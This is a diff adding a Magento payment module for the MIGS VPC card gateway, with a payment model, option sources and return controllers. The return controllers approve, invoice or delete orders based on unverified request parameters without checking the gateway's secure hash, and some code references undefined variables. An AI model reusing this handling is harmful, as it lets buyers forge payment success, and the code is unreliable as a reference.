7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Model_Server extends Mage_Payment_Model_Method_Abstract
|
24 |
+
{
|
25 |
+
protected $_code = 'migsvpc_server';
|
26 |
+
|
27 |
+
protected $_isGateway = false;
|
28 |
+
protected $_canAuthorize = false;
|
29 |
+
protected $_canCapture = true;
|
30 |
+
protected $_canCapturePartial = false;
|
31 |
+
protected $_canRefund = false;
|
32 |
+
protected $_canVoid = false;
|
33 |
+
protected $_canUseInternal = false;
|
34 |
+
protected $_canUseCheckout = true;
|
35 |
+
protected $_canUseForMultishipping = false;
|
36 |
+
|
37 |
+
protected $_formBlockType = 'migsvpc/server_form';
|
38 |
+
protected $_paymentMethod = 'server';
|
39 |
+
protected $_infoBlockType = 'migsvpc/payment_info';
|
40 |
+
|
41 |
+
protected $_order;
|
42 |
+
|
43 |
+
/**
|
44 |
+
* Get order model
|
45 |
+
*
|
46 |
+
* @return Mage_Sales_Model_Order
|
47 |
+
*/
|
48 |
+
public function getOrder()
|
49 |
+
{
|
50 |
+
if (!$this->_order) {
|
51 |
+
$paymentInfo = $this->getInfoInstance();
|
52 |
+
$this->_order = Mage::getModel('sales/order')
|
53 |
+
->loadByIncrementId($paymentInfo->getOrder()->getRealOrderId());
|
54 |
+
}
|
55 |
+
return $this->_order;
|
56 |
+
}
|
57 |
+
|
58 |
+
/**
|
59 |
+
* Grand total getter
|
60 |
+
*
|
61 |
+
* @return string
|
62 |
+
*/
|
63 |
+
private function _getAmount()
|
64 |
+
{
|
65 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
66 |
+
{
|
67 |
+
return 1000;
|
68 |
+
}
|
69 |
+
else
|
70 |
+
{
|
71 |
+
$_amount = (double)$this->getOrder()->getBaseGrandTotal();
|
72 |
+
return $_amount*100;
|
73 |
+
}
|
74 |
+
}
|
75 |
+
|
76 |
+
/**
|
77 |
+
* Get Customer Id
|
78 |
+
*
|
79 |
+
* @return string
|
80 |
+
*/
|
81 |
+
public function getMerchantId()
|
82 |
+
{
|
83 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
84 |
+
$merchant_id = Mage::getStoreConfig('payment/' . $this->getCode() . '/merchant_id');
|
85 |
+
else
|
86 |
+
$merchant_id = Mage::getStoreConfig('payment/' . $this->getCode() . '/merchant_id');
|
87 |
+
|
88 |
+
return $merchant_id;
|
89 |
+
}
|
90 |
+
|
91 |
+
public function getAccessCode()
|
92 |
+
{
|
93 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
94 |
+
$access_code = Mage::getStoreConfig('payment/' . $this->getCode() . '/access_code_test');
|
95 |
+
else
|
96 |
+
$access_code = Mage::getStoreConfig('payment/' . $this->getCode() . '/access_code');
|
97 |
+
|
98 |
+
return $access_code;
|
99 |
+
}
|
100 |
+
|
101 |
+
public function getSecureHashKey()
|
102 |
+
{
|
103 |
+
if(Mage::getStoreConfig('payment/' . $this->getCode() . '/test_gateway'))
|
104 |
+
$secure_hash_key = Mage::getStoreConfig('payment/' . $this->getCode() . '/secure_hash_secret_test');
|
105 |
+
else
|
106 |
+
$secure_hash_key = Mage::getStoreConfig('payment/' . $this->getCode() . '/secure_hash_secret');
|
107 |
+
|
108 |
+
return $secure_hash_key;
|
109 |
+
}
|
110 |
+
|
111 |
+
public function validate()
|
112 |
+
{
|
113 |
+
return true;
|
114 |
+
}
|
115 |
+
|
116 |
+
public function getOrderPlaceRedirectUrl()
|
117 |
+
{
|
118 |
+
$url = Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/redirect');
|
119 |
+
if(!$url) {
|
120 |
+
$url = 'https://migs.mastercard.com.au/vpcpay';
|
121 |
+
}
|
122 |
+
return $url;
|
123 |
+
}
|
124 |
+
|
125 |
+
/**
|
126 |
+
* prepare params array to send it to gateway page via POST
|
127 |
+
*
|
128 |
+
* @return array
|
129 |
+
*/
|
130 |
+
public function getFormFields()
|
131 |
+
{
|
132 |
+
$fieldsArr = array();
|
133 |
+
$lengs = 0;
|
134 |
+
$paymentInfo = $this->getInfoInstance();
|
135 |
+
$fields = array(
|
136 |
+
"vpc_AccessCode"=>$this->getAccessCode(),
|
137 |
+
"vpc_Amount"=>$this->_getAmount(), // 1000 - For Testing
|
138 |
+
"vpc_Command"=>"pay",
|
139 |
+
"vpc_Locale"=>"en",
|
140 |
+
"vpc_MerchTxnRef"=>$paymentInfo->getOrder()->getRealOrderId(),
|
141 |
+
"vpc_Merchant"=>$this->getMerchantId(),
|
142 |
+
"vpc_OrderInfo"=>$paymentInfo->getOrder()->getRealOrderId(),
|
143 |
+
"vpc_ReturnURL"=>Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/response', array('_secure' => true)),
|
144 |
+
"vpc_TicketNo"=>'1',
|
145 |
+
"vpc_Version"=>'1'
|
146 |
+
);
|
147 |
+
$str = '';
|
148 |
+
foreach($fields as $key => $val)
|
149 |
+
{
|
150 |
+
$str .= $val;
|
151 |
+
}
|
152 |
+
|
153 |
+
$secure_hash_key = strtoupper(md5($this->getSecureHashKey().$str));
|
154 |
+
|
155 |
+
$fieldsArr['vpc_AccessCode'] = $this->getAccessCode();
|
156 |
+
$fieldsArr['vpc_Amount'] = $this->_getAmount();
|
157 |
+
$fieldsArr['vpc_Command'] = 'pay';
|
158 |
+
//$fieldsArr['vpc_Currency']='USD';
|
159 |
+
$fieldsArr['vpc_Locale'] = 'en';
|
160 |
+
$fieldsArr['vpc_MerchTxnRef'] = $paymentInfo->getOrder()->getRealOrderId();
|
161 |
+
$fieldsArr['vpc_Merchant'] = $this->getMerchantId();
|
162 |
+
$fieldsArr['vpc_OrderInfo'] = $paymentInfo->getOrder()->getRealOrderId();
|
163 |
+
$fieldsArr['vpc_ReturnURL'] = Mage::getUrl('migsvpc/' . $this->_paymentMethod . '/response', array('_secure' => true));
|
164 |
+
$fieldsArr['vpc_TicketNo'] = '1';
|
165 |
+
$fieldsArr['vpc_Version'] = '1';
|
166 |
+
$fieldsArr['vpc_SecureHash'] = $secure_hash_key;
|
167 |
+
|
168 |
+
return $fieldsArr;
|
169 |
+
}
|
170 |
+
|
171 |
+
/**
|
172 |
+
* Get url of Migs Shared Payment
|
173 |
+
*
|
174 |
+
* @return string
|
175 |
+
*/
|
176 |
+
public function getMigsVpcServerUrl()
|
177 |
+
{
|
178 |
+
if (!$url = Mage::getStoreConfig('payment/migsvpc_server/api_url')) {
|
179 |
+
$url = 'https://migs.mastercard.com.au/vpcpay';
|
180 |
+
}
|
181 |
+
return $url;
|
182 |
+
}
|
183 |
+
|
184 |
+
/**
|
185 |
+
* Get debug flag
|
186 |
+
*
|
187 |
+
* @return string
|
188 |
+
*/
|
189 |
+
public function getDebug()
|
190 |
+
{
|
191 |
+
return Mage::getStoreConfig('payment/' . $this->getCode() . '/debug_flag');
|
192 |
+
}
|
193 |
+
|
194 |
+
public function capture(Varien_Object $payment, $amount)
|
195 |
+
{
|
196 |
+
$payment->setStatus(self::STATUS_APPROVED)
|
197 |
+
->setLastTransId($this->getTransactionId());
|
198 |
+
|
199 |
+
return $this;
|
200 |
+
}
|
201 |
+
|
202 |
+
public function cancel(Varien_Object $payment)
|
203 |
+
{
|
204 |
+
$payment->setStatus(self::STATUS_DECLINED)
|
205 |
+
->setLastTransId($this->getTransactionId());
|
206 |
+
|
207 |
+
return $this;
|
208 |
+
}
|
209 |
+
|
210 |
+
/**
|
211 |
+
* Return redirect block type
|
212 |
+
*
|
213 |
+
* @return string
|
214 |
+
*/
|
215 |
+
public function getRedirectBlockType()
|
216 |
+
{
|
217 |
+
return $this->_redirectBlockType;
|
218 |
+
}
|
219 |
+
|
220 |
+
public function assignData($data)
|
221 |
+
{
|
222 |
+
//Mage::throwException(implode(',',$data));
|
223 |
+
$result = parent::assignData($data);
|
224 |
+
if (is_array($data)) {
|
225 |
+
$this->getInfoInstance()->setAdditionalInformation($key, isset($data[$key]) ? $data[$key] : null);
|
226 |
+
}
|
227 |
+
elseif ($data instanceof Varien_Object) {
|
228 |
+
$this->getInfoInstance()->setAdditionalInformation($key, $data->getData($key));
|
229 |
+
}
|
230 |
+
return $result;
|
231 |
+
}
|
232 |
+
/**
|
233 |
+
* Return payment method type string
|
234 |
+
*
|
235 |
+
* @return string
|
236 |
+
*/
|
237 |
+
public function getPaymentMethodType()
|
238 |
+
{
|
239 |
+
return $this->_paymentMethod;
|
240 |
+
}
|
241 |
+
|
242 |
+
public function afterSuccessOrder($response)
|
243 |
+
{
|
244 |
+
$order = Mage::getModel('sales/order');
|
245 |
+
$order->loadByIncrementId($response['vpc_OrderInfo']);
|
246 |
+
$paymentInst = $order->getPayment()->getMethodInstance();
|
247 |
+
//$paymentInst->setTransactionId($response['vpc_TransactionNo']);
|
248 |
+
$paymentInst->setStatus(self::STATUS_APPROVED)
|
249 |
+
->setLastTransId($response['vpc_TransactionNo'])
|
250 |
+
->setTransactionId($response['vpc_TransactionNo']);
|
251 |
+
/*->setAdditionalInformation(ND_MigsVpc_Model_Info::ORDER_INFO,$response['vpc_OrderInfo'])
|
252 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::RECEIPT_NO,$response['vpc_ReceiptNo'])
|
253 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::TRANSACTION_NO,$response['vpc_TransactionNo'])
|
254 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::MERCH_TXN_REF,$response['vpc_MerchTxnRef'])
|
255 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::BATCH_NO,$response['vpc_BatchNo'])
|
256 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::AVS_RESULT_CODE,$response['vpc_AVSResultCode'])
|
257 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::AVS_RESPONSE_CODE,$response['vpc_AcqAVSRespCode'])
|
258 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::ACQ_CSC_RESPONSE_CODE,$response['vpc_AcqCSCRespCode'])
|
259 |
+
->setAdditionalInformation(ND_MigsVpc_Model_Info::RISK_OVERALL_RESULT,$response['vpc_RiskOverallResult'])*/
|
260 |
+
|
261 |
+
$order->sendNewOrderEmail();
|
262 |
+
if ($order->canInvoice()) {
|
263 |
+
$invoice = $order->prepareInvoice();
|
264 |
+
|
265 |
+
$invoice->register()->capture();
|
266 |
+
Mage::getModel('core/resource_transaction')
|
267 |
+
->addObject($invoice)
|
268 |
+
->addObject($invoice->getOrder())
|
269 |
+
->save();
|
270 |
+
}
|
271 |
+
$transaction = Mage::getModel('sales/order_payment_transaction');
|
272 |
+
$transaction->setTxnId($response['vpc_TransactionNo']);
|
273 |
+
$transaction->setOrderPaymentObject($order->getPayment())
|
274 |
+
->setTxnType(Mage_Sales_Model_Order_Payment_Transaction::TYPE_CAPTURE);
|
275 |
+
$transaction->save();
|
276 |
+
$order_status = Mage::helper('core')->__('Payment is successful.');
|
277 |
+
|
278 |
+
$order->addStatusToHistory(Mage_Sales_Model_Order::STATE_PROCESSING, $order_status);
|
279 |
+
$order->save();
|
280 |
+
}
|
281 |
+
}
|
app/code/local/ND/MigsVpc/Model/Source/Cctype.php
ADDED
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_Model_Source_Cctype extends Mage_Payment_Model_Source_Cctype
|
24 |
+
{
|
25 |
+
public function getAllowedTypes()
|
26 |
+
{
|
27 |
+
return array('VI', 'MC');
|
28 |
+
}
|
29 |
+
}
|
app/code/local/ND/MigsVpc/Model/Source/PaymentAction.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
class ND_MigsVpc_Model_Source_PaymentAction
|
23 |
+
{
|
24 |
+
public function toOptionArray()
|
25 |
+
{
|
26 |
+
return array(
|
27 |
+
array(
|
28 |
+
'value' => ND_MigsVpc_Model_Merchant::ACTION_AUTHORIZE,
|
29 |
+
'label' => Mage::helper('payment')->__('Authorize Only')
|
30 |
+
),
|
31 |
+
array(
|
32 |
+
'value' => ND_MigsVpc_Model_Merchant::ACTION_AUTHORIZE_CAPTURE,
|
33 |
+
'label' => Mage::helper('payment')->__('Authorize and Capture')
|
34 |
+
),
|
35 |
+
);
|
36 |
+
}
|
37 |
+
}
|
app/code/local/ND/MigsVpc/Model/Source/PaymentType.php
ADDED
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
class ND_MigsVpc_Model_Source_PaymentType
|
23 |
+
{
|
24 |
+
public function toOptionArray()
|
25 |
+
{
|
26 |
+
return array(
|
27 |
+
array(
|
28 |
+
'value' => ND_MigsVpc_Model_Merchantnew::TYPE_SSL,
|
29 |
+
'label' => Mage::helper('payment')->__('SSL')
|
30 |
+
),
|
31 |
+
array(
|
32 |
+
'value' => ND_MigsVpc_Model_Merchantnew::TYPE_3DSECURE,
|
33 |
+
'label' => Mage::helper('payment')->__('3D Secure')
|
34 |
+
),
|
35 |
+
);
|
36 |
+
}
|
37 |
+
}
|
app/code/local/ND/MigsVpc/controllers/MerchantController.php
ADDED
@@ -0,0 +1,70 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
/*
|
24 |
+
* eWAY 3D-Secure Checkout Controller
|
25 |
+
*/
|
26 |
+
class ND_MigsVpc_MerchantController extends ND_MigsVpc_Controller_Abstract
|
27 |
+
{
|
28 |
+
protected $_redirectBlockType = 'migsvpc/merchant_redirect';
|
29 |
+
|
30 |
+
/*public function indexAction()
|
31 |
+
{
|
32 |
+
if (!$this->getRequest()->isPost()) {
|
33 |
+
return;
|
34 |
+
}
|
35 |
+
|
36 |
+
try {
|
37 |
+
$data = $this->getRequest()->getPost();
|
38 |
+
Mage::getModel('migsvpc/ipn')->processIpnRequest($data, new Varien_Http_Adapter_Curl());
|
39 |
+
} catch (Exception $e) {
|
40 |
+
Mage::logException($e);
|
41 |
+
}
|
42 |
+
}*/
|
43 |
+
|
44 |
+
public function responseAction()
|
45 |
+
{
|
46 |
+
$responseParams = $this->getRequest()->getParams();
|
47 |
+
//Mage::getModel('migsvpc/ipn')->processIpnRequest($responseParams, new Varien_Http_Adapter_Curl());
|
48 |
+
//echo '<pre>';print_r($responseParams);die;
|
49 |
+
/*$this->loadLayout();
|
50 |
+
$this->renderLayout();*/
|
51 |
+
if($responseArray['vpc_AcqResponseCode']=='00' && $responseArray['vpc_TxnResponseCode']=='0')
|
52 |
+
{
|
53 |
+
Mage::getSingleton('core/session')->addSuccess(Mage::helper('core')->__($responseParams['vpc_Message']));
|
54 |
+
//Mage::getModel('migsvpc/ipn')->processIpnRequest($responseParams, new Varien_Http_Adapter_Curl());
|
55 |
+
$this->_redirect('checkout/onepage/success');
|
56 |
+
return;
|
57 |
+
}
|
58 |
+
elseif($responseParams['vpc_TxnResponseCode']!='0')
|
59 |
+
{
|
60 |
+
Mage::getSingleton('core/session')->addError(Mage::helper('core')->__($responseParams['vpc_Message']));
|
61 |
+
$this->_redirect('checkout/cart');
|
62 |
+
return;
|
63 |
+
}
|
64 |
+
else
|
65 |
+
{
|
66 |
+
$this->_redirect('checkout/cart');
|
67 |
+
return;
|
68 |
+
}
|
69 |
+
}
|
70 |
+
}
|
app/code/local/ND/MigsVpc/controllers/MerchantnewController.php
ADDED
@@ -0,0 +1,67 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_MerchantnewController extends ND_MigsVpc_Controller_Abstract
|
24 |
+
{
|
25 |
+
protected $_redirectBlockType = 'migsvpc/merchantnew_redirect';
|
26 |
+
|
27 |
+
public function responseAction()
|
28 |
+
{
|
29 |
+
$responseParams = $this->getRequest()->getParams();
|
30 |
+
//echo '<pre>';print_r($responseParams);die;
|
31 |
+
//Mage::getSingleton('core/session')->setVpcResponse($responseParams);
|
32 |
+
$postResponseData = array();
|
33 |
+
foreach($responseParams as $key => $val)
|
34 |
+
$postResponseData[] = $key.':'.$val;
|
35 |
+
|
36 |
+
//Mage::log('MIGS Response: '.implode(",",$postResponseData), null, 'migs_payment.log');
|
37 |
+
Mage::log("\n".'MIGS Response: '.implode(",",$postResponseData)."\n\n--------------------\n", null, 'migs_payment.log');
|
38 |
+
|
39 |
+
if($responseParams['vpc_TxnResponseCode']=='7')
|
40 |
+
{
|
41 |
+
Mage::register('isSecureArea', true);
|
42 |
+
$order = Mage::getModel('sales/order')->loadByIncrementId($responseParams['vpc_OrderInfo']);
|
43 |
+
$order->delete();
|
44 |
+
Mage::unregister('isSecureArea');
|
45 |
+
Mage::getSingleton('core/session')->addError(Mage::helper('core')->__($responseParams['vpc_Message']));
|
46 |
+
$this->_redirect('checkout/cart');
|
47 |
+
return;
|
48 |
+
}
|
49 |
+
elseif($responseParams['vpc_TxnResponseCode']=='0')
|
50 |
+
{
|
51 |
+
Mage::getModel('migsvpc/merchantnew')->afterSuccessOrder($responseParams);
|
52 |
+
//Mage::getSingleton('core/session')->addSuccess(Mage::helper('core')->__($responseParams['vpc_Message']));
|
53 |
+
$this->_redirect('checkout/onepage/success');
|
54 |
+
return;
|
55 |
+
}
|
56 |
+
else
|
57 |
+
{
|
58 |
+
Mage::register('isSecureArea', true);
|
59 |
+
$order = Mage::getModel('sales/order')->loadByIncrementId($responseParams['vpc_OrderInfo']);
|
60 |
+
$order->delete();
|
61 |
+
Mage::unregister('isSecureArea');
|
62 |
+
Mage::getSingleton('core/session')->addError(Mage::helper('core')->__($responseParams['vpc_Message']));
|
63 |
+
$this->_redirect('checkout/cart');
|
64 |
+
return;
|
65 |
+
}
|
66 |
+
}
|
67 |
+
}
|
app/code/local/ND/MigsVpc/controllers/ServerController.php
ADDED
@@ -0,0 +1,53 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category ND
|
18 |
+
* @package ND_MigsVpc
|
19 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
|
23 |
+
class ND_MigsVpc_ServerController extends ND_MigsVpc_Controller_Abstract
|
24 |
+
{
|
25 |
+
protected $_redirectBlockType = 'migsvpc/server_redirect';
|
26 |
+
|
27 |
+
public function responseAction()
|
28 |
+
{
|
29 |
+
$responseParams = $this->getRequest()->getParams();
|
30 |
+
//echo '<pre>';print_r($responseParams);die;
|
31 |
+
/*$this->loadLayout();
|
32 |
+
$this->renderLayout();*/
|
33 |
+
if($responseParams['vpc_TxnResponseCode']=='7')
|
34 |
+
{
|
35 |
+
Mage::getSingleton('core/session')->addError(Mage::helper('core')->__($responseParams['vpc_Message']));
|
36 |
+
$this->_redirect('checkout/cart');
|
37 |
+
return;
|
38 |
+
}
|
39 |
+
elseif($responseParams['vpc_TxnResponseCode']=='0')
|
40 |
+
{
|
41 |
+
Mage::getModel('migsvpc/server')->afterSuccessOrder($responseParams);
|
42 |
+
//Mage::getSingleton('core/session')->addSuccess(Mage::helper('core')->__($responseParams['vpc_Message']));
|
43 |
+
$this->_redirect('checkout/onepage/success');
|
44 |
+
return;
|
45 |
+
}
|
46 |
+
else
|
47 |
+
{
|
48 |
+
Mage::getSingleton('core/session')->addError(Mage::helper('core')->__($responseParams['vpc_Message']));
|
49 |
+
$this->_redirect('checkout/cart');
|
50 |
+
return;
|
51 |
+
}
|
52 |
+
}
|
53 |
+
}
|
app/code/local/ND/MigsVpc/etc/config.xml
ADDED
@@ -0,0 +1,134 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<!--
|
3 |
+
/**
|
4 |
+
* ND MigsVpc payment gateway
|
5 |
+
*
|
6 |
+
* NOTICE OF LICENSE
|
7 |
+
*
|
8 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
9 |
+
* that is bundled with this package in the file LICENSE.txt.
|
10 |
+
* It is also available through the world-wide-web at this URL:
|
11 |
+
* http://opensource.org/licenses/osl-3.0.php
|
12 |
+
* If you did not receive a copy of the license and are unable to
|
13 |
+
* obtain it through the world-wide-web, please send an email
|
14 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
15 |
+
*
|
16 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
17 |
+
*
|
18 |
+
* @category Fontis
|
19 |
+
* @package ND_MigsVpc
|
20 |
+
